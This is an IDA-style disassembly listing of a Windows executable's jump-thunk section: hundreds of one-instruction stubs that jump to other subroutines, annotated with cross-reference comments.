sub_4017DF proc near ; CODE XREF: sub_416220+11p
; ___:00416247p ...
jmp sub_4167F0
sub_4017DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017E4 proc near ; CODE XREF: sub_415A10+3p
; ___:0041626Fp ...
jmp sub_4164A0
sub_4017E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap
; sub_416030+32p
jmp sub_415F70
sub_4017E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017EE proc near ; CODE XREF: sub_403530+DBp
; sub_404010+3Fp ...
jmp sub_40A800
sub_4017EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017F3 proc near ; CODE XREF: ___:00421EAAp
jmp sub_422470
sub_4017F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4017F8 proc near
jmp sub_40B2F0
sub_4017F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4017FD proc near ; CODE XREF: sub_4068E0+205p
jmp sub_41B920
sub_4017FD endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401807 proc near ; CODE XREF: ___:00427D03p
jmp sub_427D30
sub_401807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40180C proc near ; CODE XREF: ___:00425F16p
; ___:00425F47p
jmp sub_4257F0
sub_40180C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401811 proc near ; CODE XREF: sub_41E760+FFp
; sub_41E760+179p ...
jmp sub_421B80
sub_401811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401816 proc near ; CODE XREF: sub_40A1F0+7p
jmp sub_40A210
sub_401816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40181B proc near ; CODE XREF: sub_40B510+76p
jmp sub_40B470
sub_40181B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401820 proc near ; CODE XREF: ___:00423F8Dp
; DATA XREF: ___:off_445434o
jmp sub_425100
sub_401820 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401825 proc near ; CODE XREF: sub_41E760+18Ep
; ___:0043C483j
jmp sub_4219F0
sub_401825 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182A proc near ; DATA XREF: ___:off_43F10Co
jmp sub_428210
sub_40182A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40182F proc near ; CODE XREF: ___:00416EDFp
jmp sub_417EF0
sub_40182F endp
; ---------------------------------------------------------------------------
jmp loc_42FF10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401839 proc near ; CODE XREF: sub_41E760+3BCp
; sub_4226B0+3p
jmp sub_421D50
sub_401839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40183E proc near ; CODE XREF: sub_427990+90p
jmp sub_427C50
sub_40183E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401843 proc near ; CODE XREF: ___:0042444Dp
; sub_424920+135p
jmp sub_424480
sub_401843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401848 proc near ; CODE XREF: sub_40BF20+3p
; ___:0040BFEFp ...
jmp sub_40C160
sub_401848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40184D proc near ; CODE XREF: sub_407140+36p
; sub_407140+72p ...
jmp sub_407390
sub_40184D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401852 proc near ; CODE XREF: ___:00413251p
jmp sub_415770
sub_401852 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401857 proc near ; CODE XREF: ___:0040BAB1p
; ___:0040BB78p ...
jmp sub_412B70
sub_401857 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40185C proc near ; CODE XREF: ___:004332DFp
; ___:004333EFp ...
jmp sub_432E20
sub_40185C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401861 proc near ; DATA XREF: ___:0043359Ao
; ___:00433700o
jmp sub_432E90
sub_401861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401866 proc near ; CODE XREF: sub_416460+7p
jmp sub_416840
sub_401866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40186B proc near ; CODE XREF: sub_418430+34p
jmp sub_404C70
sub_40186B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401870 proc near ; CODE XREF: sub_403530+7Ap
; sub_403530+9Ep ...
jmp sub_409C20
sub_401870 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401875 proc near ; CODE XREF: sub_420630+152p
jmp sub_4208A0
sub_401875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40187A proc near ; CODE XREF: ___:0041A328p
; sub_41B110+3p ...
jmp sub_41B140
sub_40187A endp
; ---------------------------------------------------------------------------
jmp loc_42B060
; ---------------------------------------------------------------------------
jmp loc_41C1E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401889 proc near ; CODE XREF: ___:00416B4Bp
; ___:0043B26Cj ...
jmp sub_416E10
sub_401889 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40188E proc near ; CODE XREF: sub_410030+217p
; sub_41FE90+4Cp ...
jmp sub_41FE50
sub_40188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401893 proc near ; CODE XREF: sub_42AD90+9Dp
jmp sub_429450
sub_401893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401898 proc near ; CODE XREF: ___:0042D2F5p
jmp sub_4290B0
sub_401898 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40189D proc near ; DATA XREF: ___:0043F184o
jmp sub_42B440
sub_40189D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A2 proc near ; CODE XREF: sub_41B5B0+DDp
jmp sub_41AE30
sub_4018A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018A7 proc near
jmp sub_4341C0
sub_4018A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018AC proc near ; CODE XREF: ___:00414295p
; sub_414E10+1B2p
jmp sub_413E70
sub_4018AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B1 proc near ; CODE XREF: sub_4120B0+1B6p
jmp sub_40A1F0
sub_4018B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018B6 proc near ; CODE XREF: sub_41E760+5ABp
jmp sub_4204D0
sub_4018B6 endp
; ---------------------------------------------------------------------------
jmp loc_433000
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C0 proc near ; CODE XREF: sub_40A9F0+14p
jmp sub_40ACA0
sub_4018C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018C5 proc near ; CODE XREF: sub_4135E0+B4p
; ___:00414C60p ...
jmp sub_415710
sub_4018C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CA proc near ; CODE XREF: sub_41A3B0+6Dp
; sub_41A3B0+1B5p
jmp sub_41B060
sub_4018CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018CF proc near ; CODE XREF: ___:004323CAp
jmp sub_431D80
sub_4018CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D4 proc near ; CODE XREF: sub_418F90+5Fp
jmp sub_419130
sub_4018D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018D9 proc near ; CODE XREF: ___:00416B9Bp
; ___:0043B226j ...
jmp sub_4179F0
sub_4018D9 endp
; ---------------------------------------------------------------------------
jmp loc_419ED0
; ---------------------------------------------------------------------------
jmp sub_41A1E0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018E8 proc near ; CODE XREF: sub_41E760+46p
jmp sub_4219B0
sub_4018E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018ED proc near ; CODE XREF: ___:0042D425p
jmp sub_42ACB0
sub_4018ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4018F2 proc near ; CODE XREF: sub_422230+7p
jmp sub_422620
sub_4018F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018F7 proc near ; CODE XREF: sub_4220B0+9p
; sub_422510+18p
jmp sub_422690
sub_4018F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4018FC proc near ; CODE XREF: sub_4222B0+8p
jmp sub_422670
sub_4018FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401901 proc near ; CODE XREF: sub_4134A0+43p
; sub_4148A0+4Fp ...
jmp sub_415820
sub_401901 endp
; ---------------------------------------------------------------------------
jmp loc_431D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40190B proc near ; CODE XREF: sub_421AD0+1Fp
jmp sub_421E50
sub_40190B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401910 proc near ; CODE XREF: sub_4219B0+11p
; sub_421E50+1Fp
jmp sub_421F80
sub_401910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401915 proc near ; CODE XREF: sub_40B470+6Dp
jmp sub_40BE70
sub_401915 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40191A proc near ; CODE XREF: sub_409530+13p
jmp sub_409660
sub_40191A endp
; ---------------------------------------------------------------------------
jmp loc_4378B0
; ---------------------------------------------------------------------------
jmp sub_41B110
; ---------------------------------------------------------------------------
loc_401929: ; DATA XREF: ___:off_43F068o
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40192E proc near ; CODE XREF: ___:00413C01p
jmp sub_413A80
sub_40192E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401933 proc near ; CODE XREF: ___:00413263p
; sub_4132F0+32p
jmp sub_4155B0
sub_401933 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401938 proc near ; CODE XREF: ___:00416C4Bp
; ___:0043B18Cj ...
jmp sub_417120
sub_401938 endp
; ---------------------------------------------------------------------------
jmp loc_432390
; ---------------------------------------------------------------------------
jmp loc_4347E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401947 proc near ; CODE XREF: sub_41C710+F1p
; sub_41C710+270p ...
jmp sub_420F10
sub_401947 endp
; ---------------------------------------------------------------------------
jmp loc_40A4E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401951 proc near ; CODE XREF: sub_404CC0+283p
; sub_40EE40+D2p ...
jmp sub_40F060
sub_401951 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401956 proc near ; CODE XREF: sub_4219F0+34p
; sub_422340+67p
jmp sub_421FD0
sub_401956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40195B proc near ; CODE XREF: sub_404CC0+BF1p
jmp sub_406730
sub_40195B endp
; ---------------------------------------------------------------------------
jmp loc_433650
; ---------------------------------------------------------------------------
loc_401965: ; DATA XREF: sub_41FD00+39o
jmp loc_41FC30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196A proc near ; CODE XREF: ___:0041A29Ep
; sub_41A3B0+Bp ...
jmp sub_41A390
sub_40196A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40196F proc near ; CODE XREF: ___:0041AC86p
; ___:0041AD66p
jmp sub_41A990
sub_40196F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401974 proc near
jmp sub_419320
sub_401974 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401979 proc near ; CODE XREF: sub_4119E0+2Ep
; sub_411BE0+3p
jmp sub_411B20
sub_401979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40197E proc near ; CODE XREF: sub_41E760+F5p
; sub_41E760+16Fp ...
jmp sub_421AA0
sub_40197E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401983 proc near ; CODE XREF: sub_409530+4p
; sub_4096E0+1Fp ...
jmp sub_4095E0
sub_401983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401988 proc near
jmp sub_409B10
sub_401988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40198D proc near ; CODE XREF: sub_41F960+20p
; sub_42AD90+37p
jmp sub_41FF50
sub_40198D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401992 proc near ; CODE XREF: sub_4135E0+4Ap
; ___:00414C0Fp ...
jmp sub_415500
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401997 proc near ; CODE XREF: sub_40A510+A8p
jmp sub_40A930
sub_401997 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40199C proc near ; CODE XREF: sub_40CC90+41p
jmp sub_40CF40
sub_40199C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A1 proc near ; CODE XREF: ___:004346F5p
; ___:004347F5p
jmp sub_434450
sub_4019A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019A6 proc near ; CODE XREF: sub_4219F0+29p
jmp sub_421EF0
sub_4019A6 endp
; ---------------------------------------------------------------------------
jmp loc_42FFE0
; ---------------------------------------------------------------------------
jmp loc_42FFB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019B5 proc near ; CODE XREF: sub_40A870+Dp
; sub_40AAD0+91p
jmp sub_40A9F0
sub_4019B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019BA proc near ; CODE XREF: sub_422150+23p
; sub_422510+11p
jmp sub_4226B0
sub_4019BA endp
; ---------------------------------------------------------------------------
jmp loc_41AC20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C4 proc near ; CODE XREF: sub_404010+2Cp
; ___:0040408Fp ...
jmp sub_403530
sub_4019C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019C9 proc near ; CODE XREF: sub_422850+6p
jmp sub_4228C0
sub_4019C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019CE proc near ; DATA XREF: ___:off_43F050o
jmp sub_416D30
sub_4019CE endp
; ---------------------------------------------------------------------------
jmp sub_40FE40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4019D8 proc near ; CODE XREF: sub_407460+4p
jmp sub_407590
sub_4019D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019DD proc near ; CODE XREF: ___:0040B709p
; ___:0040BB26p ...
jmp sub_40B600
sub_4019DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019E2 proc near ; CODE XREF: sub_410030+AF4p
; sub_410030+E6Ap
jmp sub_411BE0
sub_4019E2 endp
; ---------------------------------------------------------------------------
jmp loc_433C30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019EC proc near ; CODE XREF: sub_4145A0+CEp
jmp sub_414710
sub_4019EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019F1 proc near ; DATA XREF: ___:0043F1C8o
jmp sub_42CB70
sub_4019F1 endp
; ---------------------------------------------------------------------------
loc_4019F6: ; DATA XREF: ___:off_43F0D0o
jmp loc_41D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4019FB proc near ; CODE XREF: sub_421B10+3p
jmp sub_422030
sub_4019FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A00 proc near ; CODE XREF: ___:00416E8Fp
jmp sub_40B190
sub_401A00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A05 proc near
jmp sub_4133B0
sub_401A05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A0A proc near ; CODE XREF: sub_41E760+477p
jmp sub_4201F0
sub_401A0A endp
; ---------------------------------------------------------------------------
jmp loc_421950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A14 proc near ; DATA XREF: ___:0043F124o
jmp sub_428940
sub_401A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A19 proc near
jmp sub_411C10
sub_401A19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A1E proc near ; CODE XREF: sub_4344C0+92p
jmp sub_431C30
sub_401A1E endp
; ---------------------------------------------------------------------------
jmp loc_4292B0
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A2D proc near ; CODE XREF: sub_421EF0+32p
jmp sub_422340
sub_401A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A32 proc near ; CODE XREF: ___:00416BDBp
; sub_416D30+3p ...
jmp sub_416D00
sub_401A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A37 proc near ; CODE XREF: ___:00423B04p
; ___:004285E8p ...
jmp sub_420E00
sub_401A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A3C proc near ; CODE XREF: sub_422310+Ap
jmp sub_422720
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A41 proc near ; CODE XREF: ___:00412F9Fp
; ___:00413054p ...
jmp sub_404690
sub_401A41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A46 proc near ; CODE XREF: sub_409530+1Ap
; sub_409610+4p ...
jmp sub_4095A0
sub_401A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A4B proc near ; DATA XREF: ___:off_43F028o
jmp sub_40FE40
sub_401A4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A50 proc near ; DATA XREF: ___:0043F0E4o
jmp sub_427990
sub_401A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A55 proc near ; CODE XREF: ___:00426475p
jmp sub_426070
sub_401A55 endp
; ---------------------------------------------------------------------------
jmp loc_409E30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A5F proc near ; CODE XREF: sub_415BA0+1Ep
jmp sub_416650
sub_401A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A64 proc near ; CODE XREF: ___:004305E0p
; sub_4321F0+36p ...
jmp sub_431630
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A69 proc near ; CODE XREF: sub_4138B0+3Ep
jmp sub_434BF0
sub_401A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A6E proc near ; CODE XREF: sub_414A70+3p
jmp sub_414AA0
sub_401A6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A73 proc near ; CODE XREF: ___:00408299p
; ___:0040872Ap
jmp sub_409570
sub_401A73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A78 proc near ; DATA XREF: ___:0043F0E0o
; ___:0043F0F0o ...
jmp sub_4276C0
sub_401A78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401A7D proc near ; CODE XREF: sub_41D930+1ADp
jmp sub_42DB00
sub_401A7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A82 proc near ; CODE XREF: sub_420630+191p
; sub_4228C0+3p ...
jmp sub_4208C0
sub_401A82 endp
; ---------------------------------------------------------------------------
jmp loc_4302E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A8C proc near ; CODE XREF: sub_4226E0+5p
jmp sub_422850
sub_401A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A91 proc near ; CODE XREF: ___:00416F4Ap
jmp sub_418200
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A96 proc near ; CODE XREF: sub_407270+5p
; sub_407360+6p ...
jmp sub_4074B0
sub_401A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401A9B proc near ; CODE XREF: sub_403530+90p
; sub_404CC0+40Cp ...
jmp sub_40A780
sub_401A9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA0 proc near ; CODE XREF: sub_41D930+2FFp
; sub_41F030+52Fp
jmp sub_41FE90
sub_401AA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AA5 proc near ; CODE XREF: ___:004330BAp
jmp sub_430B30
sub_401AA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AAA proc near ; CODE XREF: sub_415570+1Fp
jmp sub_415ED0
sub_401AAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AAF proc near ; CODE XREF: sub_403530+E5p
; sub_409F50+Fp ...
jmp sub_409E80
sub_401AAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AB4 proc near ; CODE XREF: sub_432850+17p
; sub_432850+33p
jmp sub_434A00
sub_401AB4 endp
; ---------------------------------------------------------------------------
jmp loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_427D00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AC8 proc near ; CODE XREF: sub_424F70+E5p
; sub_424F70+120p
jmp sub_424E20
sub_401AC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ACD proc near ; DATA XREF: ___:off_43F034o
jmp sub_4120B0
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD2 proc near ; DATA XREF: ___:0041FC33o
jmp sub_41FB90
sub_401AD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AD7 proc near ; CODE XREF: sub_407140+Bp
jmp sub_407320
sub_401AD7 endp
; ---------------------------------------------------------------------------
jmp loc_433E90
; ---------------------------------------------------------------------------
loc_401AE1: ; DATA XREF: ___:off_43F020o
jmp loc_40B9B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AE6 proc near ; CODE XREF: sub_403F30+2Bp
; sub_403F30+3Bp ...
jmp sub_403D60
sub_401AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AEB proc near ; CODE XREF: sub_4135E0+66p
; sub_4135E0+CAp ...
jmp sub_415740
sub_401AEB endp
; ---------------------------------------------------------------------------
jmp loc_41B880
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AF5 proc near
jmp sub_4228F0
sub_401AF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401AFA proc near ; CODE XREF: ___:00416C2Bp
; ___:0043B1A8j ...
jmp sub_40B250
sub_401AFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401AFF proc near ; CODE XREF: ___:00421864p
; ___:0042189Ep
jmp sub_4216D0
sub_401AFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B04 proc near ; CODE XREF: sub_404C30+15p
jmp sub_407140
sub_401B04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B09 proc near ; DATA XREF: ___:off_43F0BCo
jmp sub_41A1E0
sub_401B09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B0E proc near ; CODE XREF: ___:0041700Fp
jmp sub_418A00
sub_401B0E endp
; ---------------------------------------------------------------------------
loc_401B13: ; CODE XREF: ___:00439F76j
jmp loc_40CBD0
; ---------------------------------------------------------------------------
loc_401B18: ; DATA XREF: ___:off_43F16Co
jmp loc_42B060
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B1D proc near ; CODE XREF: sub_4170B0+28p
jmp sub_418990
sub_401B1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B22 proc near ; CODE XREF: ___:00432CD7p
jmp sub_432D10
sub_401B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B27 proc near ; CODE XREF: sub_431240+Bp
jmp sub_4316C0
sub_401B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B2C proc near
jmp sub_40AF80
sub_401B2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B31 proc near ; CODE XREF: ___:00418D7Bp
; sub_418F90+28p ...
jmp sub_419050
sub_401B31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B36 proc near ; DATA XREF: ___:off_43F1B0o
jmp sub_42C7E0
sub_401B36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B3B proc near ; CODE XREF: ___:00416B7Bp
; ___:0043B242j ...
jmp sub_417AD0
sub_401B3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B40 proc near ; CODE XREF: ___:004087C9p
; ___:004087EAp ...
jmp sub_4076B0
sub_401B40 endp
; ---------------------------------------------------------------------------
jmp loc_414BC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4A proc near ; CODE XREF: sub_41C710+83p
; ___:004295EFp
jmp sub_41D640
sub_401B4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B4F proc near ; CODE XREF: sub_41A990+11p
jmp sub_41A9C0
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B54 proc near ; CODE XREF: sub_41E760+339p
jmp sub_421D10
sub_401B54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B59 proc near ; CODE XREF: sub_414D40+3p
jmp sub_414D70
sub_401B59 endp
; ---------------------------------------------------------------------------
jmp loc_433F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B63 proc near ; CODE XREF: sub_430D90+29p
jmp sub_430830
sub_401B63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B68 proc near ; CODE XREF: sub_40FE70+38p
; ___:0043A458j
jmp sub_412C90
sub_401B68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B6D proc near
jmp sub_40D660
sub_401B6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B72 proc near ; CODE XREF: sub_4076B0+3Bp
; sub_407740+43p
jmp sub_40B510
sub_401B72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B77 proc near ; CODE XREF: sub_407320+3p
jmp sub_4074F0
sub_401B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B7C proc near ; CODE XREF: sub_424920+9Dp
; sub_424920+FBp ...
jmp sub_4246D0
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401B81: ; DATA XREF: ___:off_43F084o
jmp loc_426EC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B86 proc near ; CODE XREF: sub_410030+413p
; sub_410030+F69p ...
jmp sub_40A040
sub_401B86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B8B proc near ; CODE XREF: ___:00426764p
jmp sub_4267D0
sub_401B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401B90 proc near ; CODE XREF: sub_422150+32p
jmp sub_422510
sub_401B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B95 proc near ; CODE XREF: sub_41B5B0+A5p
jmp sub_41A7D0
sub_401B95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9A proc near ; CODE XREF: sub_40C040+23p
; sub_40C200+11p
jmp sub_40C3A0
sub_401B9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401B9F proc near ; CODE XREF: ___:0042CB23p
jmp sub_42CB50
sub_401B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BA4 proc near
jmp sub_41E240
sub_401BA4 endp
; ---------------------------------------------------------------------------
loc_401BA9: ; DATA XREF: sub_431240+86o
jmp loc_432940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_409610+20p
jmp sub_4096E0
sub_401BAE endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; DATA XREF: ___:off_43F0A4o
jmp sub_40CC90
sub_401BB8 endp
; ---------------------------------------------------------------------------
jmp loc_431CC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC2 proc near ; CODE XREF: sub_421CD0+1Fp
jmp sub_4220B0
sub_401BC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BC7 proc near ; CODE XREF: sub_428810+39p
jmp sub_4283D0
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: sub_415820+5p
; sub_415A30+6p ...
jmp sub_416480
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_4316C0+5Dp
; sub_432A20+3Ep
jmp sub_4317C0
sub_401BD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
